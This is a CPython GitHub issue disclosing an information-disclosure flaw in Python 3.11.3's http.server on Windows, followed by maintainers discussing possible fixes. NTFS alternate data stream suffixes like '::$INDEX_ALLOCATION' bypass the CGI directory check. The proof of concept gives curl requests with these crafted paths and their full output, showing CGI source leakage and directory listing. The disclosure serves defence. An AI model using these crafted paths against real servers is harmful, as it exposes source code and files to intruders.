Skip to content

Python 3.11.3 http.server NTFS Alternate Data Stream Information Disclosure #104712

Open
@fmunozs

Description

@fmunozs

Python 3.11.3 http.server Alternate Data Stream Information Disclosure

Python http.server supports reading NTFS Alternate Data Streams, which will allow an attacker leaking CGI source code and directory listing on CGI folders.

Tested on

Python 3.11.3 amd64 on Windows 11

Analysis

ADS is a feature present on NTFS file system: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/c54dec26-1551-4d3a-a0ea-4fa40f848eb3

As seen on MS documentation, the following are equivalent:

Dir C:\Users
Dir C:\Users:$I30:$INDEX_ALLOCATION
Dir C:\Users::$INDEX_ALLOCATION

This allows us to trick the directory validation that is present on http.server

while dir_sep > 0 and not collapsed_path[:dir_sep] in self.cgi_directories:
to enable directory listing and leaking CGI scripts source code. This is not related to #104711

Proof-of-Concept

  1. Install Python 3.11.3 on Windows
  2. Create a sample CGI script and start the http server on port 8000, execute the following on cmd.exe:
mkdir cgi-bin
cd cgi-bin
echo #!/usr/bin/env python3 > hi.py
echo print("Content-Type: text/html\n") >> hi.py
echo print("<!doctype html><title>Hello</title><h2>hello world</h2>") >> hi.py
cd ..
python -m http.server  --cgi 8000
  1. From another terminal, this shows that the hi.py script is executed as a CGI application:
$ curl -v http://localhost:8000/cgi-bin/hi.py
*   Trying 127.0.0.1:8000...
* Connected to localhost (127.0.0.1) port 8000 (#0)
> GET /cgi-bin/hi.py HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.0.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 Script output follows
< Server: SimpleHTTP/0.6 Python/3.11.3
< Date: Sat, 20 May 2023 17:34:43 GMT
< Content-Type: text/html
<
<!doctype html><title>Hello</title><h2>hello world</h2>
* Closing connection 0

  1. The following will show that listing is not allowed on the /cgi-bin/ folder by default:
$ curl -v http://localhost:8000/cgi-bin/
*   Trying 127.0.0.1:8000...
* Connected to localhost (127.0.0.1) port 8000 (#0)
> GET /cgi-bin/ HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.0.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 403 CGI script is not a plain file ('/cgi-bin/')
< Server: SimpleHTTP/0.6 Python/3.11.3
< Date: Sat, 20 May 2023 17:34:56 GMT
< Connection: close
< Content-Type: text/html;charset=utf-8
< Content-Length: 384
<
<!DOCTYPE HTML>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <title>Error response</title>
    </head>
    <body>
        <h1>Error response</h1>
        <p>Error code: 403</p>
        <p>Message: CGI script is not a plain file ('/cgi-bin/').</p>
        <p>Error code explanation: 403 - Request forbidden -- authorization will not help.</p>
    </body>
</html>
* Closing connection 0


  1. When called with the following commands, the source code for hi.py is returned instead of the HTML output:
$ curl -v http://localhost:8000/cgi-bin::$INDEX_ALLOCATION/hi.py
*   Trying 127.0.0.1:8000...
* Connected to localhost (127.0.0.1) port 8000 (#0)
> GET /cgi-bin::$INDEX_ALLOCATION/hi.py HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.0.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: SimpleHTTP/0.6 Python/3.11.3
< Date: Sat, 20 May 2023 17:36:12 GMT
< Content-type: text/x-python
< Content-Length: 129
< Last-Modified: Sat, 20 May 2023 16:56:32 GMT
<
#!/usr/bin/env python3
print("Content-Type: text/html\n")
print("<!doctype html><title>Hello</title><h2>hello world</h2>")
* Closing connection 0


$ curl -v http://localhost:8000/cgi-bin:$I30:$INDEX_ALLOCATION/

*   Trying 127.0.0.1:8000...
* Connected to localhost (127.0.0.1) port 8000 (#0)
> GET /cgi-bin:$I30:$INDEX_ALLOCATION/hi.py HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.0.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: SimpleHTTP/0.6 Python/3.11.3
< Date: Sat, 20 May 2023 17:36:52 GMT
< Content-type: text/x-python
< Content-Length: 129
< Last-Modified: Sat, 20 May 2023 16:56:32 GMT
<
#!/usr/bin/env python3
print("Content-Type: text/html\n")
print("<!doctype html><title>Hello</title><h2>hello world</h2>")
* Closing connection 0

The following command shows that directory listing is also possible:

curl -v http://localhost:8000/cgi-bin:$I30:$INDEX_ALLOCATION/
*   Trying 127.0.0.1:8000...
* Connected to localhost (127.0.0.1) port 8000 (#0)
> GET /cgi-bin:$I30:$INDEX_ALLOCATION/ HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.0.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: SimpleHTTP/0.6 Python/3.11.3
< Date: Sat, 20 May 2023 17:37:25 GMT
< Content-type: text/html; charset=utf-8
< Content-Length: 284
<
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Directory listing for /cgi-bin:$I30:$INDEX_ALLOCATION/</title>
</head>
<body>
<h1>Directory listing for /cgi-bin:$I30:$INDEX_ALLOCATION/</h1>
<hr>
<ul>
<li><a href="hi.py">hi.py</a></li>
</ul>
<hr>
</body>
</html>
* Closing connection 0

Linked PRs

Activity

added a commit that references this issue on Jan 20, 2024

pythongh-104712: Treat the ADS alternatives as cgi_directoies also in…

serhiy-storchaka

serhiy-storchaka commented on Jan 26, 2024

@serhiy-storchaka
Member

Would not be simpler to ban ":" in the path?

serhiy-storchaka

serhiy-storchaka commented on Jan 26, 2024

@serhiy-storchaka
Member

Also, what happens if the user uses a path with a different case, e.g. /CGI-BIN/hi.py or /CGI-BIN/HI.PY?

ericvsmith

ericvsmith commented on Jan 26, 2024

@ericvsmith
Member

Would not be simpler to ban ":" in the path?

Since no one should be using http.server for "real" work, I think disallowing ":" in paths is fine. For real production work I suppose there might be some desire to server alternate data streams, but for http.server I don't have a problem with completely disallowing them.

zooba

zooba commented on Jan 26, 2024

@zooba
Member

I think it would be simplest to clearly document that you should not expose http servers to untrusted clients.

There's no way we can change the behaviour enough to satisfy all the security researchers, so we're best to just declare the whole thing out of scope and leave it fully functional for those who use it appropriately.

There's a few other issues that would also be resolved by declaring it out of scope (e.g. #104711)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions

      Python 3.11.3 http.server NTFS Alternate Data Stream Information Disclosure · Issue #104712 · python/cpython